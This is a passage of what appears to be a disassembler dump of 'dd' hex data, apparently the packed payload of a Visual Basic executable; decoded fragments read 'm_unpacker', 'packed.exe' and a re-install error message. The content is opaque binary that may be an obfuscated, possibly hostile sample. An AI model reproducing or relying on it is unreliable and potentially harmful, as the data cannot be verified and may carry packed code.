86587211h dd 0CC923F83h, 7E5BD76Dh, 58D413B5h, 1F52AE1h, 0D0AAE38Ah dd 782C6309h, 761FDFFCh, 7A43A63Dh, 5A336A45h, 77h, 338F7A64h dd 0D36DCC98h, 3C868557h, 0D86DCC98h, 32A57F5Ch, 0C3FEA47Eh dd 2DD4F39Fh, 566D00F4h, 93D276BFh, 0ADECA017h, 0F02DE2F9h dd 81205304h, 1E2A0845h, 18B6442Dh, 0FD813C43h, 6361336Ah dd 0AB000000h, 533F7E32h, 79538E34h, 89D2CE54h, 5E25D86h dd 0FFBAA619h, 35F1348h, 77BE55E6h, 382296D5h, 0E75313h dd 2244400Fh, 40E83D31h, 2CE1587Ch, 324ED6F3h, 84F437Ah dd 6DCC7CBFh, 0E99DDC90h, 44033AF2h, 39B460A1h, 3605CB6Ah dd 0C20BEE85h, 0A2336B35h, 0Ah, 0E877AF9Ch, 0CA2296DCh dd 7B3217ADh, 90374E42h, 7B30A75Bh, 8E33523Eh, 0B50EA155h dd 7100B21Eh, 23E6F8D2h, 6DCC7C9Fh, 55DEFB77h, 5EC377B0h dd 0BF6A8457h, 67FC065Ah, 4544302Ch, 66F5699Eh, 623AEDBDh dd 0A15571ACh, 0A6F5A1C5h, 9423891Eh, 0F1D56C53h, 89A61C0Fh dd 0E23E9423h, 60954E05h, 81B66DECh, 184DF695h, 37492F6Ch dd 2389CE74h, 2D4A2694h, 752EF78Eh, 0F6AB2E40h, 936DC9BDh dd 23892A98h, 794ECA94h, 40F2DBC5h, 662C1F38h, 0CDFF4346h dd 1B179423h, 945D2237h, 74397B84h, 15Dh, 6585618Ah, 0DBE884D6h dd 1A72C7E5h, 491E4217h, 15BD5C83h, 933BEA20h, 2FA4C91Ah dd 0F0F2C1Ah, 0AC5F7155h, 67FC779Fh, 80170B67h, 441692C7h dd 0DB5A8407h, 0D1EC0C6Fh, 928EC8h, 2DDCEED2h, 943C4F95h dd 5BD8F571h, 0DE5D6FA4h, 2CDAEF26h, 0D5C1F6ADh, 0E54CE378h dd 8A55093Eh, 397B0347h, 5427h, 0C15C6500h, 0D949401Ah dd 0FDEDCC7Ch, 0D68C4F21h, 0CC8BE79Bh, 0FFFFDC15h, 0CC7CEA58h dd 5AE1D3EDh, 0E8D79B4h, 22371B5Ah, 6A6DE281h, 36AC5F71h dd 0AC6DCC7Ch, 17A340BFh, 1532D632h, 0D4550965h, 0B5h dd 0DA85EFDCh, 9814C7DAh, 46739FF5h, 2F4C921Ch, 1EBD5C95h dd 0C3C5D4Ch, 31A867FCh, 7228457Ah, 3B300AF6h, 9F366229h dd 2FACC1DEh, 10874378h, 276E2257h, 94233F9Ch, 7155ECD3h dd 0D7017C7Ch, 3CE46EE1h, 31151105h, 0ABD3B00Ch, 1C31742Bh dd 0F7B3E89Fh, 0FED00BAAh, 999929E0h, 0A17D9423h, 0A1CAB4CCh dd 3851690Eh, 5C472427h, 9E199FFBh, 5C7B2703h, 381165A3h dd 2CD811B8h, 0AE172348h, 5E7D294Dh, 1FB66AABh, 0FD792D6Eh dd 574B8A3Eh, 0D8E47B24h, 9A3CD36Eh, 0CE3E8DB1h, 2B403420h dd 0CEA03BDAh, 2E8D7ADBh, 0D6A88494h, 0E3876103h, 27AFCCA8h dd 1EBD5CA1h, 9BDC8D4Ch, 8A6E8BE7h, 0F6D83E9Fh, 85A5A667h dd 1AEECE4Bh, 0D714B76Eh, 731B0002h, 5E974EB5h, 8589AEB2h dd 0F03DF2Eh, 0BD91CF78h, 0D5A79E16h, 3F219DB9h, 708DC47Ch dd 1B073CE3h, 262DB74Ch, 0BC536C98h, 2599CE75h, 671DED96h dd 4E04430h, 7FBC6FEAh, 31E524C8h, 6F661835h, 1937FBCh dd 0F6F7D372h, 569CA1C3h, 2FDD0AB9h, 0DB1328E1h, 8BF7C51h dd 27E057D3h, 81B50DFCh, 0DF519826h, 2681962Ch, 0CEF26E98h dd 395FEF2h, 0E7000000h, 80326D5Fh, 9952493Dh, 7519B064h dd 9E4F463Ah, 7E32A95Dh, 9034533Fh, 8126A551h, 94395044h dd 7830A75Bh, 52CF5541h, 0C281E289h, 4, 3304EA83h, 14312414h dd 24143324h, 0E689565Ch, 4C681h, 0EE830000h, 24348704h dd 242C895Ch, 7B668h, 24148900h, 3CE8BF57h, 0E7C10E4Eh dd 40CF8106h, 0C14F2963h, 0EF8102EFh, 59B13F4Eh, 5D04B850h dd 0D8F75A92h, 7135D0F7h, 2D09A244h, 2B545CBDh, 8958C701h dd 0CD685FFDh, 8900004Fh, 4832424h, 555A0424h, 0F3240481h dd 8F663308h, 0B8500842h, 663308F3h, 58084229h, 5A2434FFh dd 8B04C483h, 8953242Ch, 4C381E3h, 81000000h, 4C3h, 241C8700h dd 1E92E95Ch, 0B8A3FFFAh, 6166134h, 0E0FFC503h, 6D8C758Eh dd 22F6EAC9h, 617C39CDh, 4E350080h, 47A661D8h, 6C37D617h dd 499CFDE3h, 4DA3898Bh, 6A8BA40h, 497FB64Fh, 6609C204h dd 1FB6FAAh, 67BE2ADDh, 538819A9h, 7299A0Eh, 26DB07A4h dd 4FE01CB9h, 5C81A96Dh, 7F11EB8Bh, 1234A05Ah, 72D19F98h dd 4D413839h, 34704C08h, 54C80756h, 3E1B3A41h, 5F8D85D9h dd 31591135h, 7CADFD45h, 22D227CFh, 0BE8h, 2900100h, 0BF81DD52h dd 0DC005AA3h, 0E78166h, 9E9587Bh, 66000000h, 0C499597Fh dd 93AEEC11h, 7166C081h, 0ABB0000h, 6831A92Eh, 1C3Dh, 8BF78B5Ah dd 81F28B08h, 233BF1E9h, 8178B313h, 49CCA0F1h, 6E930h dd 8BFD0000h, 18A43F4Ah, 120BF181h, 0DD8A0CA3h, 48BB0889h dd 836376C6h, 0F5204E8h, 683h, 860F00h, 5E000000h, 0BC850F4Ah dd 8DFFFFFFh, 1663AD8Dh, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1404h, 0C3534300h, 0F58D89EDh, 0E9061009h dd 11h, 0D3A80EE5h, 87EFA7E3h, 0C681227h, 0FCBB8AEEh, 1985C756h dd 0AC061023h, 0B200006Bh, 0C185C7ADh, 61022h, 0E9000000h dd 0Dh, 0C891E620h, 7438F5E8h, 0F82DCF41h, 58F0F09h, 66000000h dd 930BD381h, 2ED5B5FFh, 6A0610h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1D0424h, 55450000h, 254E8C3h, 633D326Eh dd 607FC63Bh, 9D895A52h, 6101651h, 0B995FF61h, 6A06102Dh dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 18042444h dd 41000000h, 0F8D9C351h, 0BCEE215h, 10061985h, 0FF006A06h dd 1031C995h, 0EBC08B06h, 0D2B27F1Ch, 5F84289Bh, 0D27F99A2h dd 0A9B5B3E6h, 86D2DF96h, 0DF3B7A58h, 92AEDDA1h, 12E8D8h dd 83AC0000h, 0FE15DCA4h, 0A06BEF5Bh, 7CBE9585h, 9F0F8918h dd 5518D29h, 89580610h, 102D09B5h, 0E8C08106h, 0B100005Fh dd 17D6BE45h, 0B9600000h, 0B48959Ah, 5E8h, 3E94CB00h, 880F151Eh dd 0 dd 188B615Eh, 585BD09h, 0EB810610h, 7BEE46E5h, 57C28166h dd 0A8F38132h, 8000DD60h, 0EB81B1C2h, 32FFC1F0h, 1889A0B5h dd 141D8D29h, 0E8830610h, 96F68004h, 1EE81h, 850F0000h dd 0FFFFFFC2h, 0DE9h, 0D42E3400h, 32BF8A0Ah, 162904E4h dd 65E97309h, 67000001h, 0C52849D9h, 4377E705h, 5F6D5C3Ah dd 61706E75h, 72656B63h, 63617000h, 2E64656Bh, 657865h dd 3Ah dup(0) dd 33000000h, 6E6E6143h, 6620746Fh, 20646E69h, 27732527h dd 6C50202Eh, 65736165h, 6572202Ch, 736E692Dh, 6C6C6174h dd 69687420h, 70612073h, 63696C70h, 6F697461h, 6854006Eh dd 54526E75h, 6E69614Dh, 765F5F00h, 61566162h, 74735472h dd 654Eh, 2 dup(0) dd 1BF7E9h, 68086800h, 8DE90616h, 68FFFA1Ah, 61668E4h dd 0FA1A83E9h, 69D168FFh, 79E90616h, 68FFFA1Ah, 6166A8Eh dd 0FA1A6FE9h, 6AD268FFh, 65E90616h, 68FFFA1Ah, 6166BA7h dd 0FA1A5BE9h, 6C0268FFh, 51E90616h, 68FFFA1Ah, 6166C50h dd 0FA1A47E9h, 73E468FFh, 3DE90616h, 68FFFA1Ah, 6167474h dd 0FA1A33E9h, 754868FFh, 29E90616h, 68FFFA1Ah, 616761Fh dd 0FA1A1FE9h, 768468FFh, 15E90616h, 68FFFA1Ah, 6167765h dd 0FA1A0BE9h, 780B68FFh, 1E90616h, 68FFFA1Ah, 61678C0h dd 0FA19F7E9h, 7ED868FFh, 0EDE90616h, 68FFFA19h, 6167FF5h dd 0FA19E3E9h, 809E68FFh, 0D9E90616h, 9EFFFA19h, 0A635A9ECh dd 8413C7FEh, 0B128A4DDh, 8E0DC1FEh, 291F9BDAh, 0BEFDAFDDh dd 99DA8B0Ah, 0B5F09625h, 94C982F9h, 604B3518h, 6BDA1AE2h dd 321FA502h, 39504479h, 84E15D92h, 0C5946675h, 2A2FE324h dd 2C038B54h, 3B1034B6h, 0F0456625h, 6FC167FCh, 3CB006BCh dd 36751794h, 4436E64Ah, 3CB0FD45h, 391D1994h, 0D378431Dh dd 96C5C196h, 943CB028h, 641047FDh, 9084C365h, 0E1EF861Dh dd 63263838h, 943CB0DFh, 7D1E3B37h, 5DAA03E6h, 4E8A397Ah dd 0B4000000h, 965EC1B7h, 0B09D87CBh, 5E6639F1h, 63E9FEC0h dd 0D41B96D7h, 36433244h, 0A635C421h, 0B9FCD5D4h, 3E1A67FCh dd 1AE93F2Ch, 16BC466Eh, 0A8164541h, 4B943CB0h, 915C9938h dd 71397A69h, 0E2h, 72A45E8Fh, 4BC47EBBh, 607D599Ah, 447932C4h dd 58973950h, 4B762DACh, 0CC7CE260h, 4A26026Dh, 5D883F56h dd 0CC7C14AEh, 5074F06Dh, 0CD2DDCh, 39F26DCCh, 1AD14804h dd 213F31E5h, 3380D86Ah, 98CF7592h, 9C9888ECh, 44971EBFh dd 0E185542Ah, 6176FAA6h, 3F6B9AAh, 4D015D98h, 0A3FE873h dd 0A03D1A16h, 1A8C219h, 9E155950h, 2D6E1FB6h, 893EFD79h dd 0F8DC584Ch, 72B153E6h, 0B4E7E4B6h, 0C5A6AB21h, 2A6107BEh dd 56DDFA76h, 0F534D8B2h, 9C412501h, 40352294h, 3039AA7Ah dd 2A000019h, 12894588h, 30A7235Ah, 0D8C4079h, 1AA11D5Ah dd 85833776h, 1A590B79h, 3576179Eh, 114C0279h, 30651E9Dh dd 0FCAF917Ch, 6BDA1446h, 327B419Eh, 0C8B3F7Eh, 0D0AA1E53h dd 7C47FBAEh, 0C39F6DCCh, 0BD5C1EA6h, 0E66D6D15h, 856121FFh dd 138F06Bh, 3C1514ECh, 0DA67FCD1h, 827F6C7Eh, 0DBCBD97Eh dd 32731695h, 1905E23Eh, 3C78F452h, 0C55C1794h, 7B31CD20h dd 0AAAD39h, 321F0000h, 39504479h, 0D2AC5897h, 2E8D2D99h dd 0E9FE995Eh, 0CCF1D842h, 93EE56Dh, 4D1DC655h, 91856196h dd 34469524h, 0FCE76C75h, 0BC8E8A67h, 0A35BE7A2h, 5FBB943Ch dd 686FD48Ah, 84875973h, 943CA33Eh, 5B7D5AD6h, 0A6E12B0h dd 6476F29Eh, 38F433D5h, 6BD00FC1h, 4036F6F3h, 5400E9BDh dd 4E000018h, 56E5599Ch, 34C377AEh, 61D8548Dh, 3EBD71AEh dd 998F4B8Ah, 0E4DFF6Dh, 296A1B9Ah, 458026B5h, 24591289h dd 0D0BBC5A8h, 6BDA1472h, 328F1592h, 0B18B3F7Eh, 564A832Ah dd 8D36FDDAh, 0C0458658h, 0F6999BF5h, 0A644FACFh, 50447932h dd 0A4679239h, 6DCC7C1Eh, 0E2567AF6h, 25CA767Dh, 1C383CE8h dd 34A4742h, 816A67FCh, 0C9234730h, 4002A974h, 0A49423FAh dd 0CBCFACC8h, 4AF4A34Fh, 0A99423FAh, 337E7B1Ah, 13397BA4h dd 0B9h, 31B81579h, 392739A2h, 0B794C982h, 0FC2057CCh dd 30F36F67h, 9D7FE987h, 0EEED0CA9h, 2DD42DDCh, 0B6B242A9h dd 9B7115A4h, 5FC3AFE4h, 4BB86683h, 6E1D2FACh, 78BE964Eh dd 19A0BAB6h, 3A1E3B74h, 0B3F49524h, 5F134EF4h, 0B66DE603h dd 954ECD81h, 0E423C5h, 0D94EC95Bh, 0C6CFC7AAh, 1767h dd 0BA6EB161h, 0DA4E853Bh, 0F16DA65Bh, 0D488C56Ah, 0E864A345h dd 0B0548602h, 8B3EBD71h, 63078E4Ah, 7E25B428h, 0A69A9549h dd 0DA155FE3h, 723AB76Bh, 5B4E7932h, 6DCC7CE7h, 7C942EDDh dd 0F4706DCCh, 504420FCh, 75875463h, 0FC03BDB6h, 24E75967h dd 9423849Eh, 62D6FA76h, 31B815C4h, 942739A2h, 0C098B5ECh dd 0FC2058C9h, 0FDAC7E67h, 9423A045h, 26A1C5A1h, 0AABC375h dd 64777E1Fh, 0F8629F8Ah, 57E2153Ah, 0AA867AB1h, 7F51CDCDh dd 0B3C809BCh, 0E4F7FEF3h, 42391F0Ah, 77C90B4Dh, 0F033EE4h dd 42DE6413h, 3A360B6Fh, 0CE754416h, 0ED962599h, 0E26F13B8h dd 1501D54Bh, 16AA84h, 0BF02A400h, 9DD48C0Bh, 0BAF39A21h dd 97D477FEh, 0B1F09423h, 81F30FFDh, 9D1C90CFh, 0A82FABECh dd 8413C702h, 3732A6DBh, 16FC4645h, 9B186BDAh, 5B04D711h dd 0E18A5126h, 0DC513FACh, 27FFB3E8h, 1666BEh, 6BAE6000h dd 89C068EFh, 669F46D5h, 83C063F2h, 5D9C50C7h, 6D9FEBE1h dd 39C07CBBh, 54E35798h, 40B773AEh, 0F3D65287h, 16A02209h dd 67446BDAh, 5C04D7DDh, 395C3825h, 0AE37AEFFh, 34692299h dd 77647340h, 8081A665h, 987D67FCh, 61481622h, 943C0CE1h dd 67442905h, 7D9FDF0h, 78528F34h, 3C7C3191h, 8459D594h dd 8F981EBAh, 67795388h, 7C309279h, 58D4943Ch, 201B8883h dd 22999E0Ch, 0B7EC936Fh, 6E8B67CBh, 46F5B0ACh, 7BBB68AEh dd 9FB12AC9h, 1C51FAC1h, 984D0C68h, 60A18A5Fh, 630CB3Dh dd 0F5A1DA8Fh, 54A15571h, 454416C5h, 36DC8767h, 0D7A9C39Fh dd 0E6895D04h, 5D79FDA9h, 23B0CDA9h, 493477Ch, 0C1C1265Bh dd 4FF8FB5Dh, 15914E57h, 0DB8B0000h, 0EF952498h, 0D07504B8h dd 0EF942397h, 0CD7FF6B2h, 0D02C1A8Eh, 0FBAFEEA2h, 0D488C97Ch dd 0F266A145h, 0D387BC63h, 9D25E4D8h, 796BDA17h, 4002B07Ch dd 0AD6DCC7Ch, 6DCC0C11h, 33FC48F6h, 9C11AD92h, 7D269233h dd 9CEB5752h, 0F0B9233h, 3CC68633h, 7C284C17h, 15366Bh dd 3B7E3000h, 1950F87Fh, 366F16A5h, 1350F382h, 2D6C2097h dd 1D4FBBB1h, 29B02C6Bh, 4934788h, 30A7235Eh, 0A3864277h dd 1050F299h, 37B46BDAh, 5E04D76Dh, 0D6F36F23h, 916B7087h dd 0FC7D559Ah, 0C875F167h, 4A07230Ah, 0E827B064h, 0E2000014h dd 0EA71ED30h, 0C84F0B42h, 0E574E821h, 0D2490542h, 7D6BDF1Eh dd 0F231D301h, 0CD0EBF36h, 0A9E48A11h, 0C8FDA635h, 64271914h dd 6BDA10DEh, 0D7F3B936h, 6E225F04h, 0A55ED5F2h, 5E058470h dd 6D4E7D29h, 0BF65F4D6h, 7C2B9792h, 4FCB6DCCh, 50A15673h dd 30336B2Ah, 47h, 7C44029Ah, 32D96DCCh, 0B358E3FDh, 3A9D8A76h dd 5C2725ACh, 76401D39h, 0B3FDF4CFh, 853DEC6Dh, 9A92688Ah dd 0CBC2BAF3h, 4C28DC17h, 0E6584C28h, 8AB111F8h, 0D9559268h dd 14514504h, 0F06B0000h, 85C26539h, 32C08C61h, 93D83B79h dd 155B87h, 0FCE11D83h, 163A8026h, 95D27544h, 0D772D0BBh dd 96926DCCh, 0E9F0C5C1h, 9B27E2FCh, 7B6DCCD7h, 0D74AF89Fh dd 3CE36DCCh, 67171B07h, 883AF10Bh, 6C6DCCD7h, 0FFAD4F0h dd 67FC80B6h, 0B58D450h, 2EDDEFECh, 9E0C63E5h, 0C2ABC5A1h dd 8A438814h, 1BE5D29Dh, 81024492h, 0F6959166h, 0E3A2164Fh dd 9E2CD65Ah, 4C0037EDh, 0EE017CDh, 0D68939F0h, 0F16D9E2Ch dd 0F5AB2ADCh, 0E675D2BEh, 73EE64Fh, 8C458853h, 26B53F8Ah dd 0BD33487Dh, 247h, 1EBD5C0Fh, 0CB77324Ch, 2B6DCC7Ch dd 43461A2Fh, 67FC0B4Ah, 3D6A884h, 0F67A265Dh, 0FEA625E1h dd 0DC8413C7h, 0BC7FF1A5h, 0F6ADCA07h, 9423FD48h, 47832201h dd 5A0B0106h, 203D0E23h, 2B6ED93h, 0B4EBA118h, 3FE564C0h dd 8392F308h, 0B4458658h, 16819F57h, 33F60ADFh, 9E135332h dd 25A450CCh, 0AF2A4483h, 34AABFFCh, 0D0C403A5h, 13333B89h dd 0C867389Eh, 0D488C769h, 5973686Fh, 10B25987h, 0F49E1333h dd 333B8782h, 7FDB9E13h, 549D8663h, 0F2942356h, 540B8A76h dd 0F49CDC84h, 59705FCEh, 3CF0D4F0h, 25D106BDh, 305CC76h dd 70AF6180h, 1F5F0584h, 5BEE5869h, 3DE90D6Bh, 0A3822182h dd 52CEC201h, 0AD44DB6Eh, 32A6DB84h, 0DAC6FDA3h, 22CE05BBh dd 0A4481365h, 98B5B165h, 1FC56C03h, 68A974E8h, 48459B41h dd 0BDh, 6A96D7C2h, 6608F180h, 8BC7754h, 4E0909C0h, 0EC080458h dd 0B0EFA138h, 5DF487C4h, 3DF130D4h, 6B0C2F82h, 930F33h dd 327D0000h, 39504479h, 3ADE5492h, 89A7DF79h, 22C8936Dh dd 80373BE7h, 9C988CCDh, 23C8BFBFh, 835F944Bh, 7955F88Fh dd 8AE69AD5h, 9928BA66h, 8221D6FAh, 548942E3h, 923306D8h dd 827A6C51h, 0FF945DE5h, 53DC35EAh, 46BC336Ah, 0C2000000h dd 2B6C1D9Ch, 0CCB2C67Ch, 25421E6Dh, 1EBD5C9Fh, 19945D4Ch dd 363267FCh, 4B0EF04Ah, 0C9AD599Ah, 239F60E2h, 0C0474F94h dd 0BFE5A90Ch, 0D415B8CFh, 9630DBF0h, 75942333h, 6F42A73Eh dd 4F397BDAh, 9Fh, 1EBD5CBDh, 266C5D4Ch, 9E7A67FCh, 0F62DD3F2h dd 0D60DB342h, 0BEF5AB2Ah, 18A375D2h, 0FB474271h, 1B9423AAh dd 7546233Fh, 0B2CFFCDEh, 2737A934h, 0E99F1C31h, 3A24F6B2h dd 230EF34Fh, 42171394h, 7BC3743Dh, 465439h, 5CB60000h dd 1F411BC0h, 0CF8F882Eh, 0C196A5C6h, 0CC9258CAh, 0CEA07CEDh dd 72B6E99Dh, 98B55BABh, 1FC594E6h, 0AE1813E8h, 8CEDCCEAh dd 0F5015EF5h, 8D1514E6h, 296DCCEAh, 0EAEE5457h, 2A066DCCh dd 10119246h, 6B000000h, 675396D7h, 77B4F10Ch, 53E762h dd 0D7550000h, 6661ED96h, 2F4C711Ch, 0BCEFDA4h, 0B671B58h dd 0CC8FA61Ch, 0FEE23E6Dh, 96CD7312h, 1BED9322h, 0A2DB9266h dd 724E72EEh, 79997358h, 0A121C5C6h, 0CC1858EAh, 8460BC6Dh dd 0B14AB767h, 0A813422Eh, 496DCC18h, 935E9B3Ah, 73336AD1h dd 0BDDh, 1CC35CD9h, 1ED51668h, 0A856398Ch, 7F4E3512h dd 8E9B63C2h, 529B5EF5h, 0C2BD156Ch, 0CA55ED9Ch, 0B5B11B99h dd 3A3098h, 5C9A0000h, 9421CC3h, 0DA2EAC2Dh, 8B6D8A39h dd 0CCE722A0h, 0CBBEA06Dh, 6DCCE777h, 0C4B6938Fh, 1DC39668h dd 21363AE6h, 0D2723665h, 6211BB58h, 68CB26C3h, 8CABDCDEh dd 21000002h, 8E1CC35Ch, 7932BA12h, 522E7644h, 0F6AAE187h dd 0D7C75D7Ah, 7C4002A9h, 0C8A46DCCh, 2231ECB3h, 3C11366Bh dd 2F000000h, 7C23F3ACh, 0FBD75B47h, 0C35C46DEh, 93E4A13h dd 587CB9E0h, 0D310B386h, 9E26431Fh, 7C6BD4D7h, 0C836DCCh dd 0A3E08353h, 734F73EFh, 32F5D7A5h, 4274427Bh, 30408Ah dd 5C8C0000h, 0D78E1CC3h, 0CC7C6BD4h, 0E7B5A16Dh, 3EF96D7h dd 0D74B8968h, 324CDE02h, 0C506A77Bh, 4D71BA1h, 0C081761h dd 9B82CD4Fh, 9267CBB7h, 450233D9h, 0DA06A1EAh, 0FBE5F736h dd 0B886A7D2h, 1302A166h, 0B55EB0AFh, 0B0DC6625h, 3C38B55Eh dd 4B13E844h, 647EA71h, 8CC16AF1h, 438226ADh, 8A291864h dd 4BFF4ABh, 560CDC83h, 0B870671Bh, 0AA816581h, 0DA67714h dd 0C3F8AF76h, 0ABE08700h, 29640AD1h, 0BC706754h, 9A254687h dd 0BEABE69Ch, 0E9FE905Eh, 5E6F8542h, 260561B5h, 69C8675Ah dd 0F6CA8DC2h, 94E2CBF5h, 0E502CA5Eh, 877BBA6Eh, 62E0CBB5h dd 82B55E97h, 6DD5D4A6h, 89B55E97h, 0AAE6D0ADh, 89A847D6h dd 0A534A8E7h, 0E9F2C9FEh, 97803D47h, 7D3CB55Eh, 0C9B98EC9h dd 84FACE6Dh, 62F4FD47h, 4E2BAF31h, 984FD66Dh, 0C067E063h dd 7E06AC8Bh, 0CA6B0AB9h, 0D912EC21h, 4EEEB46Dh, 7E390E6Dh dd 229CA9A2h, 4914FBFh, 4C59CEFEh, 1F3C18AFh, 0DFB6EB94h dd 0DBF534D8h, 4B70A960h, 22B50EA6h, 8A3146D4h, 85AC43FEh dd 522EA9DEh, 8BC57D2Ch, 0B45AB55Eh, 0F9A98D79h, 0F2507Dh dd 9128CF65h, 7932F0BCh, 6E127644h, 50CB077Dh, 51C99996h dd 7A11021Dh, 5655274Bh, 6DCC9FECh, 754F2C08h, 8D1BC05Ch dd 393296D7h, 9651CA29h, 0D766F6C1h, 70245D04h, 569135F4h dd 22437E81h, 28B3366Bh, 0BE324782h, 49h, 80C05C0Ch, 0E5B38FCAh dd 580B96D7h, 9023CC54h, 92BBA5BBh, 75AEDDADh, 0B770E7DEh dd 1BE6582h, 0DD6DCC7Dh, 0F5D7BB81h, 75437A32h, 0CA7B3E42h dd 0D7D87489h, 9A34C196h, 0FFECA174h, 50B8D5A3h, 72EF0C4Dh dd 42h, 25C05CCAh, 0C6B5F096h, 6DCC7C7Ch, 0F2B89C98h, 235E04D7h dd 2D6F36Fh, 0CC7CBE07h, 0ECFE766Dh, 937FB86Dh, 0D7F2BA8Fh dd 5E04D7F5h, 0D6F36F23h, 5E70A75Dh, 68AC616Dh, 0B25D8ABFh dd 0BA1B65Ch, 96D78A42h, 0A3406817h, 0FFACC12Ah, 6DCCBB38h dd 0FD13359Eh, 287FFFFh, 6DCC7C44h, 69E5FA03h, 0BDF93BF2h dd 0F7429E6Dh, 0D8523E22h, 24BF0306h, 0DB576DCCh, 24BD05FEh dd 0DC926DCCh, 30D6F5A1h, 24B60CFFh, 0D24E6DCCh, 0E18302EEh dd 0D772EEA2h, 7E2DA948h, 6DCC24C4h, 0B6204420h, 8BD64FBh dd 24DC5BCFh, 81471EDh, 71559438h, 9735D685h, 620A23B6h dd 0AC60772Bh, 9D06B96Dh, 77C9BA06h, 0EA043DE4h, 6679833Fh dd 0F20763D0h, 7637B251h, 5675C124h, 221h, 7C4502B4h, 0BC7F6DCCh dd 0F9B0CA07h, 6DCC7C49h, 499CB1ADh, 6C1F31AAh, 67FC1847h dd 75BFB09Dh, 0E6508294h, 99151111h, 3E326B22h, 0B66AA147h dd 0F197691Fh, 122E6D1Fh, 32DE025Eh, 0CBA536BDh, 13694BE0h dd 5AFF5B9Eh, 4037B986h, 548B1C08h, 4E00000Dh, 56E5599Ch dd 34C377AEh, 61D8548Dh, 3EBD71AEh, 998F4B8Ah, 0E4DFF6Dh dd 296A1B9Ah, 458026B5h, 24591289h, 0D0BBC5A8h, 6BDA0F72h dd 0D78F1592h, 48255C04h, 0F39FD48Bh, 5CDBF7FEh, 906BFBD8h dd 5B923AF1h, 0D5A7CBA7h, 0F6139BD6h, 25373367h, 2B6EF96h dd 54FACE73h, 0F7096D19h, 26F08E34h, 0E60A6694h, 689F4514h dd 4BF49393h, 6F1A4416h, 9426F0D3h, 64223733h, 7953888Fh dd 1685B192h, 74D9559Eh, 4032A34Ah, 0C4A730E4h, 0BE00000Ch dd 8615C90Ch, 0A433A7DEh, 9108C4FDh, 0AE2DA1DEh, 9FFBBFAh dd 9EDD8FFDh, 0B9FAAB2Ah, 95D07605h, 0B4E9A219h, 802B15F8h dd 6BDA08C2h, 32FFC522h, 0AF2A4479h, 467F26FAh, 0A95F762Ah dd 0BEA27E72h, 0B883FDA9h, 482CD811h, 0FD43D233h, 1651146h dd 9D500BE5h, 87597F5Ch, 5F39F846h, 0EAFF8C61h, 0FCAFFC41h dd 0BC8E8A67h, 0EF0C4BFDh, 237F067h, 1DAF946h, 0E0B66CEFh dd 2105F128h, 0F8D55145h, 745329E0h, 37339E06h, 4EB12825h dd 0C91D97A6h, 580DCCB4h, 52C08229h, 3F249E16h, 35EC8767h dd 90472B63h, 8C4A0D9h, 0EFA3DC91h, 0E0FA2FD8h, 7E1AE1EBh dd 7A318F9Ch, 5A4C2145h, 738D4E65h, 26108BB8h, 4AEF6B94h dd 5E22D66Ah, 0F0871004h, 0EA00000Bh, 0D2490548h, 0F067E31Ah dd 0CD4C0039h, 0DA61DD1Ah, 4543F736h, 0DA19CB39h, 0F536D75Eh dd 0D10CC239h, 0F025DE5Dh, 0BC6F513Ch, 6BDA0906h, 323B01DEh dd 63504479h, 0B6758754h, 67FC16ADh, 4813ED49h, 0B7BB67A2h dd 0EF0C4D00h, 6638F067h, 0FB9A86BFh, 5320E45h, 0B3EF7764h dd 1995B1CFh, 98B2EBA2h, 0F6996B21h, 0F6C09DB9h, 1EBD5C70h dd 2C5C5D4Ch, 0EE6A67FCh, 6EA95DDCh, 0DDCC9E82h, 9423AC65h dd 0D6C8A581h, 23AC378Fh dd 69DD694h, 7B660AE3h, 82EA39h, 32600000h, 384F437Ah dd 2EAD5990h, 51483C79h, 9BE8649Bh, 0E61BC47Ch, 401A363Ah dd 0FC0E4C49h, 3DF16867h, 58552F9h, 0EFD31791h, 2B4328DAh dd 917D2888h, 6C6207EBh, 224A077Eh, 0B196172h, 73130000h dd 47FD7C30h, 681D9C10h, 47FC7B2Fh, 25C74E0Ah, 87472E6h dd 43F736DAh, 5CD011B4h, 3AEE29DDh, 5BCF04BBh, 259D8C70h dd 0C16BDA0Ah, 4D758E4h, 2A5245Dh, 752BA8C5h, 54198A3Eh dd 73000000h, 4F437A32h, 76885362h, 0FC1226B3h, 0BB6EC067h dd 94239607h, 0FA5F83DFh, 4A0737CEh, 0B4C3D4C0h, 0AE00000Ah dd 7605B9FCh, 942397CEh, 81F8B4EDh, 9E1D91CEh, 392FABEAh dd 0AEED9FCDh, 89CA7BFAh, 65A046D5h, 84B972E9h, 30DBE5C8h dd 6BDA0A92h, 0D7AF7572h, 0A5245D04h, 29B2C700h, 4D334D82h dd 0CC7CE45Eh, 4724006Dh, 52874057h, 5B7C5378h, 41961BDBh dd 6C4B7A2Ch, 4ABD10D5h, 489D336Ah, 0EF000002h, 225F04D7h dd 9D4C7145h, 0ABC516h, 67FC2063h, 7B2CA783h, 88987824h dd 37499221h, 0A4318F74h, 16156761h, 6D8457ACh, 0F608EC48h dd 2A7CBE63h, 0FBF2350Eh, 0CAA65A76h, 0F504F1ADh, 0A14514E6h dd 0A1B6BA66h, 0CCBFA1BFh, 6D843976h, 0CEB5928Eh, 67B3C4EEh dd 1E401A16h, 5FF4F42Dh, 0ACC188A3h, 2943782Fh, 0DDCCFBB2h dd 97F8C865h, 0ACC1A581h, 0C7FCA332h, 0DC699022h, 3DA67E49h dd 9D3h, 5EDA1DCDh, 3EFA31D7h, 65D912B7h, 38F431D6h, 5CD00FC1h dd 2CE0126Eh, 47EA71EDh, 1FC35206h, 3AF168E4h, 5A664905h dd 0DA0B13AFh, 2EF6F36Bh, 4D3A7A32h, 0E5020E3Eh, 98927E62h dd 4A8F28B3h, 0CC6CE35Fh, 4227036Dh, 0F9CE2696h, 0BC8E4D6Ch dd 59D6A9A2h, 22B24689h, 3C685E45h, 0F87467F6h, 8B41F8E6h dd 0A7C4A054h, 8438792Ch, 5F1354F5h, 8A38F30Dh, 6A942604h dd 6D8CD9EEh, 10AD5C6Eh, 0EE9E165Fh, 30E15872h, 9F0DDEFh dd 5DCB4EBDh, 7FF6C09Dh, 2998DCEh, 35A71449h, 0FB403252h dd 92DBA2Bh, 87270000h, 5B118844h, 7C31A824h, 5B108743h dd 792BAA1Eh, 7C887E3Ah, 9F1B5A0Eh, 78347518h, 96124D01h dd 7733681Fh, 4101A894h, 0A56BDA04h, 0CBE07C48h, 6DCC7C6Fh dd 4B8F26DDh, 0E99DDC90h, 0EB087084h, 0FBD7E391h, 1CBB48DEh dd 